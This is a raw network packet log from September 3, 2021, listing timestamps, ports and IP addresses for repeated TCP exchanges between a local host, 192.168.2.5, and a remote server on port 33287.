Sep 3, 2021 10:58:18.000238895 CEST	50035	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.033145905 CEST	33287	50035	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.033606052 CEST	33287	50035	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.033627987 CEST	33287	50035	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.033714056 CEST	50035	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.033747911 CEST	50035	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.034176111 CEST	50035	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.034198999 CEST	50035	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.066854954 CEST	33287	50035	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.067019939 CEST	50035	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.140655041 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.173396111 CEST	33287	50036	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.173475027 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.174038887 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.206952095 CEST	33287	50036	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.206984043 CEST	33287	50036	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.207056046 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.240370989 CEST	33287	50036	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.240469933 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.240945101 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.244735956 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.277646065 CEST	33287	50036	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.277915955 CEST	33287	50036	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.277936935 CEST	33287	50036	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.286667109 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.286695957 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.286703110 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.286705971 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.319283009 CEST	33287	50036	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.319339037 CEST	50036	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.388448954 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.422087908 CEST	33287	50037	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.422314882 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.423429012 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.456653118 CEST	33287	50037	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.456701040 CEST	33287	50037	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.456810951 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.490015984 CEST	33287	50037	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.490241051 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.491044998 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.497803926 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.531908989 CEST	33287	50037	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.532227039 CEST	33287	50037	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.532320976 CEST	33287	50037	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.532449961 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.532480001 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.533572912 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.533601046 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.566559076 CEST	33287	50037	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.566680908 CEST	50037	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.639996052 CEST	50038	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.675998926 CEST	33287	50038	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.676152945 CEST	50038	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.677448988 CEST	50038	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.712913990 CEST	33287	50038	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.712935925 CEST	33287	50038	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.713088036 CEST	50038	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.748723030 CEST	33287	50038	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.748847961 CEST	50038	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.749591112 CEST	50038	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.755582094 CEST	50038	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.792635918 CEST	33287	50038	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.792665005 CEST	33287	50038	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.792676926 CEST	33287	50038	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.793502092 CEST	50038	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.794482946 CEST	50038	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.794552088 CEST	50038	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.830144882 CEST	33287	50038	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.830343008 CEST	50038	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.905759096 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.940181971 CEST	33287	50039	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.940382957 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.941513062 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:18.975640059 CEST	33287	50039	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.975667953 CEST	33287	50039	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:18.975877047 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.009898901 CEST	33287	50039	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.010209084 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.010957956 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.016098022 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.050235987 CEST	33287	50039	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.050578117 CEST	33287	50039	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.050673008 CEST	33287	50039	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.050712109 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.050774097 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.051569939 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.051623106 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.085563898 CEST	33287	50039	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.086133003 CEST	50039	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.155179024 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.191668987 CEST	33287	50040	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.192018032 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.193142891 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.228550911 CEST	33287	50040	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.228594065 CEST	33287	50040	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.228760004 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.264467955 CEST	33287	50040	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.269785881 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.269835949 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.270220041 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.305861950 CEST	33287	50040	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.306329966 CEST	33287	50040	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.306354046 CEST	33287	50040	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.306418896 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.306437969 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.307251930 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.307302952 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.342765093 CEST	33287	50040	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.343175888 CEST	50040	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.422405005 CEST	50041	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.456008911 CEST	33287	50041	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.456145048 CEST	50041	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.457283020 CEST	50041	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.491333008 CEST	33287	50041	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.491363049 CEST	33287	50041	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.491775036 CEST	50041	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.525765896 CEST	33287	50041	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.525949955 CEST	50041	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.526669025 CEST	50041	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.533642054 CEST	50041	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.567020893 CEST	33287	50041	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.567500114 CEST	33287	50041	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.567523003 CEST	33287	50041	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.567679882 CEST	50041	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.568445921 CEST	50041	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.568511963 CEST	50041	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.601720095 CEST	33287	50041	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.601862907 CEST	50041	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.687458038 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.721467972 CEST	33287	50042	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.721760988 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.722908020 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.756747961 CEST	33287	50042	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.756881952 CEST	33287	50042	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.757014036 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.790710926 CEST	33287	50042	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.790976048 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.791647911 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.799103022 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.832933903 CEST	33287	50042	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.833327055 CEST	33287	50042	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.833359957 CEST	33287	50042	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.833457947 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.833481073 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.834285975 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.834312916 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.867954969 CEST	33287	50042	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:19.868196011 CEST	50042	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:19.952966928 CEST	50043	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.387322903 CEST	33287	50043	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.387470961 CEST	50043	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.388364077 CEST	50043	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.421722889 CEST	33287	50043	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.421747923 CEST	33287	50043	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.422080040 CEST	50043	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.455698013 CEST	33287	50043	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.455780983 CEST	50043	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.456551075 CEST	50043	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.462886095 CEST	50043	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.496411085 CEST	33287	50043	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.496592045 CEST	33287	50043	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.496613979 CEST	33287	50043	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.496690035 CEST	50043	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.497253895 CEST	50043	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.497284889 CEST	50043	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.530555964 CEST	33287	50043	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.530678034 CEST	50043	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.608026981 CEST	50044	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.644216061 CEST	33287	50044	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.644371033 CEST	50044	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.644893885 CEST	50044	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.680654049 CEST	33287	50044	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.680921078 CEST	33287	50044	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.681042910 CEST	50044	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.716805935 CEST	33287	50044	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.716900110 CEST	50044	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.718048096 CEST	50044	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.720735073 CEST	50044	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.758083105 CEST	33287	50044	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.758285999 CEST	33287	50044	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.758301973 CEST	33287	50044	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.758377075 CEST	50044	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.758855104 CEST	50044	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.758924961 CEST	50044	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.795177937 CEST	33287	50044	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.795264006 CEST	50044	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.872880936 CEST	50045	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.908663988 CEST	33287	50045	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.908859015 CEST	50045	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.909341097 CEST	50045	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.944713116 CEST	33287	50045	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.945281982 CEST	33287	50045	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.945383072 CEST	50045	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.980993986 CEST	33287	50045	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:21.986006021 CEST	50045	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.986466885 CEST	50045	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:21.989414930 CEST	50045	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.025224924 CEST	33287	50045	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.025480986 CEST	33287	50045	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.025494099 CEST	33287	50045	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.025563955 CEST	50045	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.025993109 CEST	50045	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.026041985 CEST	50045	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.061477900 CEST	33287	50045	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.061589003 CEST	50045	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.140490055 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.176707029 CEST	33287	50046	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.177417040 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.178071022 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.214135885 CEST	33287	50046	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.214162111 CEST	33287	50046	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.214243889 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.250477076 CEST	33287	50046	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.250669956 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.251492977 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.254273891 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.291666985 CEST	33287	50046	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.292169094 CEST	33287	50046	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.292182922 CEST	33287	50046	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.292431116 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.292458057 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.293663979 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.293684959 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.329617977 CEST	33287	50046	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.330295086 CEST	50046	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.460232973 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.496534109 CEST	33287	50047	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.496705055 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.497874022 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.533751011 CEST	33287	50047	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.533775091 CEST	33287	50047	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.534184933 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.570065975 CEST	33287	50047	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.570164919 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.570574045 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.573337078 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.609060049 CEST	33287	50047	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.609452963 CEST	33287	50047	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.609472036 CEST	33287	50047	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.609603882 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.609653950 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.609978914 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.609992981 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.645791054 CEST	33287	50047	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.645927906 CEST	50047	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.716460943 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.753268957 CEST	33287	50048	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.753401041 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.753918886 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.790361881 CEST	33287	50048	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.790700912 CEST	33287	50048	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.790781975 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.826999903 CEST	33287	50048	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.827260971 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.827821016 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.830486059 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.866251945 CEST	33287	50048	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.866864920 CEST	33287	50048	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.866986036 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.867049932 CEST	33287	50048	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.867139101 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.868078947 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.868185997 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.904681921 CEST	33287	50048	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:22.904778957 CEST	50048	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:22.983244896 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.018826008 CEST	33287	50049	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.018937111 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.019462109 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.054905891 CEST	33287	50049	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.055198908 CEST	33287	50049	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.055311918 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.090686083 CEST	33287	50049	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.090789080 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.094363928 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.096927881 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.132363081 CEST	33287	50049	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.132750034 CEST	33287	50049	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.132774115 CEST	33287	50049	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.132858038 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.132885933 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.133311033 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.133343935 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.169069052 CEST	33287	50049	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.169195890 CEST	50049	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.250462055 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.286235094 CEST	33287	50051	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.286351919 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.287442923 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.322945118 CEST	33287	50051	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.322988033 CEST	33287	50051	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.323175907 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.358820915 CEST	33287	50051	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.358961105 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.359493971 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.362416983 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.398296118 CEST	33287	50051	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.398576975 CEST	33287	50051	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.398602009 CEST	33287	50051	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.398675919 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.398715019 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.399338007 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.399615049 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.435029030 CEST	33287	50051	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.435144901 CEST	50051	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.513526917 CEST	50052	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.548069000 CEST	33287	50052	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.548160076 CEST	50052	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.548783064 CEST	50052	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.581758976 CEST	33287	50052	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.582031965 CEST	33287	50052	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.582099915 CEST	50052	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.615226030 CEST	33287	50052	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.615300894 CEST	50052	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.615763903 CEST	50052	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.618731976 CEST	50052	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.651730061 CEST	33287	50052	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.652193069 CEST	33287	50052	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.652215004 CEST	33287	50052	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.652409077 CEST	50052	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.653208971 CEST	50052	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.653440952 CEST	50052	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.686454058 CEST	33287	50052	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:23.686528921 CEST	50052	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.764049053 CEST	50053	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:23.800276995 CEST	33287	50053	185.156.73.37	192.168.2.5
